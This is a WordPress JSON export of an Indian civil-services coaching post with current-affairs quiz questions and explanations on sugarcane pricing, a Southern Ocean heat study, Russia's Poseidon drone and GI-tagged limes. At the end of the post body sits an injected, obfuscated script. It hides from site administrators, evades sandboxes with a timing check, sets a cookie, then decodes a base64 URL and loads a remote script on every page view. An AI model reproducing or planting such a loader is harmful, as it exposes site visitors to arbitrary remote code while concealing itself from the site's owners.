has-link-color wp-elements-105 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/business\/share-of-manufacturing-in-value-added-has-remained-stubbornly-fixed-10334444\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/business\/share-of-manufacturing-in-value-added-has-remained-stubbornly-fixed-10334444\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><strong>6. Consider the following statements regarding the Fair and Remunerative Price (FRP) in India:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\">1. The Fair and Remunerative Price (FRP) in India is applicable only for sugarcane.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\">2. It was announced by the Commission for Agricultural Costs and Prices (CACP) on the recommendation of the Cabinet Committee on Economic Affairs (CCEA).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\">3. It is the minimum price that sugar mills are legally bound to pay to sugarcane farmers for their produce.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\"><strong>How many of the above statements are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\"><strong>Answer: (b) Only two<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\"><strong>In NEWS: <\/strong>Sugar sector concerned over reduction in ethanol sourcing<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\"><strong>Fair and Remunerative Price (FRP)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-119\">\n<li><strong>Implemented by:<\/strong> <strong>Government of India<\/strong> under the <strong>Sugarcane (Control) Order, 1966<\/strong>.<\/li>\n\n\n\n<li><strong>Announced by:<\/strong> <strong>Cabinet Committee on Economic Affairs (CCEA)<\/strong> on the recommendation of the <strong>Commission for Agricultural Costs and Prices (CACP)<\/strong>. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li><strong>Ministry:<\/strong> <strong>Ministry of Consumer Affairs, Food and Public Distribution.<\/strong><\/li>\n\n\n\n<li><strong>Objective:<\/strong> To ensure <strong>fair returns to sugarcane farmers<\/strong> and <strong>stable sugar industry operations<\/strong>.<\/li>\n\n\n\n<li><strong>Nature:<\/strong> It is the <strong>minimum price<\/strong> that sugar mills are legally bound to pay to sugarcane farmers for their produce. <strong>Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Determining Factors:<\/strong> Cost of production, recovery rate of sugar, inter-crop price parity, and reasonable margins for farmers.<\/li>\n\n\n\n<li><strong>Difference from MSP:<\/strong> FRP is specific to <strong>sugarcane (FRP is provided only for one crop \u2014 sugarcane).<\/strong> <strong>Hence statement 1 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2015)<\/strong> <br><br><strong>Q. The Fair and Remunerative Price (FRP) of sugarcane is approved by the<\/strong> <br><br><strong>(a) Cabinet Committee on Economic Affairs<\/strong> <br>(b) Commission for Agricultural Costs and Prices <br>(c) Directorate of Marketing and Inspection, Ministry of Agriculture <br>(d) Agricultural Produce Marketing Committee<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/business\/sugar-sector-concerned-over-reduction-in-ethanol-sourcing\/article70217446.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/business\/sugar-sector-concerned-over-reduction-in-ethanol-sourcing\/article70217446.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong>7. With reference to the recent research describing the Southern Ocean\u2019s \u201cThermal Time Bomb\u201d, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\">1. The Southern Ocean has absorbed more than 90% of the excess heat produced by human-induced global warming.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\">2. The \u201cBurp Phase\u201d refers to the sudden release of stored oceanic heat that may cause renewed global warming.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\">3. The study predicting this phenomenon was conducted using the UVic v2.9 climate model.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\">4. This process can occur even if atmospheric carbon dioxide levels continue to rise.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\">(a) 1, 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\">(b) 1, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\">(c) 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\">(d) 1, 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\"><strong>Answer: (a) 1, 2 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\"><strong>In NEWS: <\/strong>Scientists Warn of \u2018Ocean Burp\u2019 as Massive Heat Reservoir Found Beneath Southern Ocean<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\"><strong>Southern Ocean \u2018Thermal Time Bomb\u2019<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-135\">\n<li><strong>Discovery:<\/strong> Scientists have identified a vast <strong>pocket of trapped heat<\/strong> beneath the <strong>Southern Ocean<\/strong>, described as a <strong>\u201cthermal time bomb.\u201d<\/strong><\/li>\n\n\n\n<li><strong>Institutions Involved:<\/strong> <strong>University of Victoria (Canada)<\/strong> and <strong>German climate scientists.<\/strong><\/li>\n\n\n\n<li><strong>Model Used:<\/strong> <strong>UVic v2.9 climate system model. Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Phenomenon Name:<\/strong> The <strong>\u201cBurp Phase\u201d<\/strong> \u2014 a future scenario in which trapped oceanic heat resurfaces even after emissions decline. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Role of Southern Ocean:<\/strong><ul><li>Absorbed <strong>over 90% of the planet\u2019s excess heat<\/strong> and <strong>about 25% of CO\u2082 emissions<\/strong> from human activity. <strong>Hence statement 1 is correct.<\/strong><\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Acts as Earth\u2019s <strong>largest carbon and heat sink.<\/strong><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Mechanism:<\/strong><ul><li>Warming, ice melt, and sunlight push <strong>heat deeper<\/strong> into the ocean.<\/li><\/ul><ul><li>As emissions <strong>drop <\/strong>and the atmosphere cools, this heat <strong>re-emerges<\/strong>, potentially <strong>triggering renewed global warming.<\/strong><\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>The \u201cBurp Phase\u201d can occur even without an increase in atmospheric CO\u2082 levels \u2014 it results from oceanic heat release, not rising emissions.<\/strong><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\"><strong>Hence statement 4 is incorrect.<\/strong><strong><\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-137\">\n<li><strong>Consequences:<\/strong><ul><li><strong>Melting Antarctic sea ice<\/strong>, <strong>disruption of ocean circulation<\/strong>, and <strong>loss of marine oxygen and nutrients.<\/strong><\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Could cause <strong>another century-long phase of rapid warming<\/strong>, even with <strong>Net Zero emissions.<\/strong><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.gktoday.in\/scientists-warn-of-ocean-burp-as-massive-heat-reservoir-found-beneath-southern-ocean\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.gktoday.in\/scientists-warn-of-ocean-burp-as-massive-heat-reservoir-found-beneath-southern-ocean\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\"><strong>8. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\"><strong>Statement I: <\/strong>An Unmanned Underwater Vehicle (UUV) can be designed to operate using nuclear power and may also carry a nuclear weapon.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\"><strong>Statement II: <\/strong>Recently, Russia tested its Nuclear-Powered Underwater Drone named Poseidon.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\">(a) Both Statement-I and Statement-II are correct and Statement-II explains Statement-I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\">(b) Both Statement-I and Statement-II are correct, but Statement-II does not explain Statement-I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\">(c) Statement-I is correct, but Statement-II is incorrect<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\">(d) Statement-I is incorrect, but Statement-II is correct<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\"><strong>Answer: (a) Both Statement-I and Statement-II are correct and Statement-II explains Statement-I<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\"><strong>In NEWS: <\/strong>Russia Tests Nuclear-Powered Poseidon Underwater Drone<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\"><strong>Poseidon:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-151\">\n<li>Poseidon, also known by its development code names <strong>Status-6 or Kanyon<\/strong>, is an <strong>unmanned underwater vehicle (UUV)<\/strong> that <strong>Russia <\/strong>says is both nuclear-powered and nuclear-armed.<\/li>\n\n\n\n<li>It\u2019s designed to travel autonomously for extremely long distances underwater \u2014 potentially across oceans \u2014 using a miniaturized nuclear reactor for propulsion.<\/li>\n\n\n\n<li>The weapon can reportedly carry a nuclear warhead of multi-megaton yield, capable of destroying coastal cities, ports, or naval bases.<\/li>\n\n\n\n<li>Its size and specifications are classified, but estimates suggest it is about 2<strong>0 m long and 2 m wide <\/strong>\u2014 roughly the size of a small submarine.<\/li>\n\n\n\n<li>Russia claims it can travel at <strong>speeds of up to 200 km\/h <\/strong>and operate at depths over 1 km, making it difficult to detect or intercept.<\/li>\n\n\n\n<li>Poseidon is unique in combining:<ul><li>Nuclear propulsion (for unlimited underwater range)<\/li><\/ul><ul><li>Nuclear payload (potentially multi-megaton warhead)<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Autonomous long-range guidance<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Its carrier submarine, the Belgorod, is reportedly capable of launching six Poseidon drones.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\"><strong>Hence both Statement-I and Statement-II are correct and Statement-II explains Statement-I<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><br><strong>Q. With reference to Unmanned Aerial Vehicles (UAVs), consider the following statements:\u00a0<\/strong> <br><br>I. All types of UAVs can do vertical landing.\u00a0\u00a0 <br>II. All types of UAVs can do automated hovering.\u00a0\u00a0 <br>III.All types of UAVs can use battery only as a source of power supply.\u00a0\u00a0 <br><br><strong>How many of the statements given above are correct?\u00a0<\/strong> <br><br>(a) Only one\u00a0\u00a0\u00a0<br>(b) Only two\u00a0 <br><strong>(c) All the three\u00a0\u00a0<\/strong> <br><strong>(d) None<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.newsonair.gov.in\/russia-tests-nuclear-powered-poseidon-underwater-drone\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.newsonair.gov.in\/russia-tests-nuclear-powered-poseidon-underwater-drone\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\"><strong>9. Which of the following has\/have been accorded &#8216;Geographical Indication&#8217; status?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\">1. Indi Lime<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\">2. Puliyankudi Lime<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\">3. Assam Lime<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\"><strong>Select the correct answer using the code given below.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\"><strong>Answer: (d) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\"><strong>In NEWS: <\/strong>APEDA Facilitates First-Ever Air Shipment of GI Tagged Indi and Puliyankudi Limes from Karnataka and Tamil Nadu to the United Kingdom<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\"><strong>APEDA Facilitates First-Ever Air Shipment of GI-Tagged Indi and Puliyankudi Limes to the UK (2025)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-167\">\n<li>The <strong>Agricultural and Processed Food Products Export Development Authority (APEDA)<\/strong> under the <strong>Ministry of Commerce and Industry<\/strong> facilitated the <strong>first-ever export<\/strong> of India\u2019s <strong>GI-tagged Indi Lime (Karnataka)<\/strong> and <strong>Puliyankudi Lime (Tamil Nadu)<\/strong> to the <strong>United Kingdom<\/strong> on <strong>28 October 2025<\/strong>.<\/li>\n\n\n\n<li>The shipment included <strong>350 kg of Indi Lime<\/strong> from <strong>Vijayapura (Karnataka)<\/strong> and <strong>150 kg of Puliyankudi Lime<\/strong> from <strong>Tenkasi (Tamil Nadu)<\/strong> \u2014 totaling <strong>500 kg<\/strong>.<\/li>\n\n\n\n<li>The initiative promotes the <strong>export of India\u2019s GI-tagged horticultural produce<\/strong> and expands its <strong>global footprint<\/strong>.<\/li>\n\n\n\n<li><strong>Indi Lime<\/strong>: Grown mainly in <strong>Vijayapura<\/strong>, known for <strong>zesty aroma, high juice yield, balanced acidity<\/strong>, and <strong>traditional medicinal value<\/strong>.<\/li>\n\n\n\n<li><strong>Puliyankudi Lime<\/strong>: Cultivated in <strong>Tenkasi<\/strong>, Tamil Nadu; known for <strong>thin peel, high ascorbic acid (34.3 mg\/100g), 55% juice content<\/strong>, and <strong>rich Vitamin C<\/strong>; received <strong>GI Tag in April 2025<\/strong>.<\/li>\n\n\n\n<li>The initiative aligns with APEDA\u2019s mission to <strong>promote India\u2019s GI-tagged agri-produce globally<\/strong> and <strong>benefit local farmers and producer groups<\/strong> through <strong>market diversification<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-168 wp-block-paragraph\"><strong>Assam Lime<\/strong> received Geographical Indication (GI) status in 2019.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\"><strong>Hence all are correct.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><br><strong>Q. Which of the following has\/have been accorded &#8216;Geographical Indication&#8217; status?<\/strong> <br><br>1. Banaras Brocades and Sarees <br>2. Rajasthani Daal-Bati-Churma <br>3. Tirupathi Laddu <br><br><strong>Select the correct answer using the code given below.<\/strong> <br><br>(a) 1 only <br>(b) 2 and 3 only <br>(c) 1 and 3 only <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-170 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2183886\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2183886<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-171 wp-block-paragraph\"><strong>10. Which one of the following is the national aquatic animal of India?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-172 wp-block-paragraph\">(a) Saltwater crocodile<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-173 wp-block-paragraph\">(b) Olive ridley turtle<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-174 wp-block-paragraph\">(c) Gangetic dolphin<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-175 wp-block-paragraph\">(d) Gharial<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-176 wp-block-paragraph\"><strong>Answer: (c) Gangetic dolphin<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-177 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-178\">\n<li>The <strong>Gangetic dolphin (<em>Platanista gangetica<\/em>)<\/strong> was declared the <strong>National Aquatic Animal of India<\/strong> in <strong>2009<\/strong> by the Government of India.<\/li>\n\n\n\n<li>It is an <strong>endangered freshwater species<\/strong> found mainly in the <strong>Ganga, Brahmaputra, and Meghna river systems<\/strong>.<\/li>\n\n\n\n<li>It is also the <strong>official mascot of the \u201cNamami Gange\u201d programme.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"301\" height=\"167\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-33.jpg\" alt=\"\" class=\"wp-image-2669\"\/><\/figure>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Consider the following countries: I. Australia II. Bangladesh III. Japan\u00a0\u00a0 IV. Canada\u00a0 V. Russia\u00a0 VI. India\u00a0 How many of [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":1359,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[1,68,71,11,42],"tags":[],"class_list":["post-2667","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog","category-daily-current-affairs","category-good-morning-test","category-prelims","category-prelims-current-affairs-gmt"],"_links":{"self":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2667","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/comments?post=2667"}],"version-history":[{"count":2,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2667\/revisions"}],"predecessor-version":[{"id":2959,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2667\/revisions\/2959"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media\/1359"}],"wp:attachment":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media?parent=2667"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/categories?post=2667"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/tags?post=2667"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}